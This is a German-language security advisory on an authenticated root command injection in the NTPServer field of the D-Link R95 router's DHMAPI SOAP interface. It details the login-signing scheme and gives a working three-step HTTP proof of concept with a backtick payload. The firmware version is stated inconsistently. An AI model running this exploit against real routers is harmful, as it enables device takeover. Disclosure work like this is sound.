D-Link R95 BE9500 Wi-Fi 7 Smart Router

• Hersteller：D-Link
• Produkt：R95
• Produktmodell：BE9500
• Firmware-Version：1.01B06
• Schwachstellentyp：Authentifizierte Command Injection

Beschreibung

Der D-Link R95 BE9500 Wi-Fi 7 Smart Router (Firmware-Version BE9500_1.00.16) enthält eine Command-Injection-Schwachstelle in der DHMAPI-Schnittstelle (SOAP über HTTPS) bei der Verarbeitung von SetTimeSettings-Anfragen. Das benutzergesteuerte Feld <NTPServer> wird ohne jegliche Bereinigung oder Validierung von Shell-Metazeichen in die Konfigurationsdatenbank gespeichert. Wenn die Konfiguration anschließend mit UCI synchronisiert wird (ntpclient.@ntpserver[0].hostname), konstruiert und führt der verwundbare Backend-Dienst einen in doppelte Anführungszeichen eingeschlossenen Shell-Befehl über einen system()-ähnlichen Aufruf aus. Durch das Injizieren von Backticks (```) in den <NTPServer>-Wert kann ein Angreifer eine Command Substitution erreichen — die Shell wertet den injizierten Inhalt aus, bevor sie den verketteten Befehl ausführt, was die Ausführung beliebiger Befehle mit root (uid=0)-Privilegien ermöglicht.

Der Angriff erfordert eine gültige Web-Management-Sitzung (sid), die durch authentifizierten Zugriff erhalten wird (getestet mit dem Administratorkonto Admin). Diese Schwachstelle wird durch die schwachen Standard-Anmeldedaten des Geräts oder potenzielle Authentifizierungsumgehungsprobleme weiter verstärkt, was die reale Angriffsfläche erheblich vergrößert.

Auswirkung

Ein authentifizierter Angreifer kann beliebige Befehle mit root-Privilegien ausführen, was zu einer vollständigen Kompromittierung des Geräts führt — einschließlich des Lesens sensibler Dateien (z. B. /etc/rg_config/admin-Chiffretext, Auslesen vollständiger Konfigurations-Backups), der Installation persistenter Backdoors, der Einrichtung von Reverse Shells und des Pivotierens in das interne Netzwerk für Lateral-Movement-Angriffe.

Schwachstellendetails

1. Betroffene Komponente und Ursache

Die Schwachstelle befindet sich im Web-Management-Backend-Binary /bin/ssi (läuft als root), das die DHMAPI-SOAP-Schnittstelle implementiert.

Taint-Quelle — der SetTimeSettings-Handler (Funktion bei Offset 0x6bd84 in ssi, Firmware 1.01B06):

• Extrahiert das Feld <NTPServer> aus der SOAP-Anfrage in einen Stack-Puffer, längenbegrenzt auf 0x3f (63 Bytes) — dies ist eine Puffergrößenbegrenzung, keine Sicherheitsprüfung.
• Speichert den Wert unverändert über einen internen Setter in den internen Konfigurationsschlüssel time.value.NTPServer — zu keinem Zeitpunkt erfolgt eine Filterung oder Escaping von Shell-Metazeichen.

Taint-Senke — Konfigurationssynchronisierung mit UCI. ssi synchronisiert Konfigurationswerte, indem sie in Shell-Befehlszeichenketten verkettet werden, die über system()-ähnliche Aufrufe ausgeführt werden. Eingebettete Formatstrings im Binary umfassen:

uci set %s="%s" > /dev/null

Da der Wert in doppelte Anführungszeichen eingeschlossen ist, führt die Shell eine Command Substitution auf Backticks (`) / $() innerhalb des Werts durch, bevor der verkettete Befehl ausgeführt wird. Da ssi als root läuft, wird der injizierte Befehl mit root-Privilegien ausgeführt.

Timing-Beweise bestätigen, dass die Auswertung synchron innerhalb des Request-Handling-Pfads erfolgt: Das Injizieren von `sleep 10` verzögert die HTTP-Antwort um ~10 Sekunden. Der vergiftete Wert persistiert zusätzlich in UCI (ntpclient.@ntpserver[0].hostname) und wird später unquoted von /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME) konsumiert — eine sekundäre Härtungslücke.

Ausnutzungsbeschränkungen (verifiziert):

Beschränkung	Verifiziertes Ergebnis
Feldlänge	≤ 63 Bytes akzeptiert; 60 Bytes OK, 80 Bytes abgelehnt (HTTP 400)
&-Zeichen	Darf nicht vorkommen (bricht die verkettete Befehlszeile)
Injektionssyntax	Backticks `cmd` verifiziert; $(cmd) funktioniert voraussichtlich ebenso
Ausführungskontext	uid=0(root) gid=0(root)
Ausgabekanal	Kein direktes Echo; Umleitung ins Web-Root (> /www/<file>) und Abruf per HTTP GET

2. Authentifizierungsvoraussetzung (API-AUTH-Schema)

Alle DHMAPI-Anfragen müssen enthalten:

• Cookie: uid=<session cookie> (vom Login)
• API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
• API-ACTION / SOAPAction-Header passend zur SOAP-Action, plus User-Agent und Referer (fehlender UA/Referer führt zu HTTP 400/500)
• ts ist ein Millisekunden-Zeitstempel; das Gerät validiert die Aktualität nicht, daher ist ein fester Wert wiederverwendbar

privkey-Ableitung:

1. Login / Action=request (signiert mit dem statischen Schlüsselstring withoutloginkey) liefert Challenge, Cookie, PublicKey, SaltHash
2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (oder das Klartextpasswort, wenn SaltHash fehlt)
3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
5. Login / Action=login mit dem Obigen liefert <LoginResult>success</LoginResult>; nachfolgende Anfragen verwenden Cookie: uid=<step-1 Cookie> signiert mit privkey

3. Proof of Concept

Schritt 1 — Login-Anfrage (Challenge/Cookie/PublicKey/SaltHash erhalten)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Schritt 2 — Login (Sitzung aufbauen)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Erwartet: <LoginResult>success</LoginResult>.

Schritt 3 — Command Injection (Ausgabe ins Web-Root schreiben)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>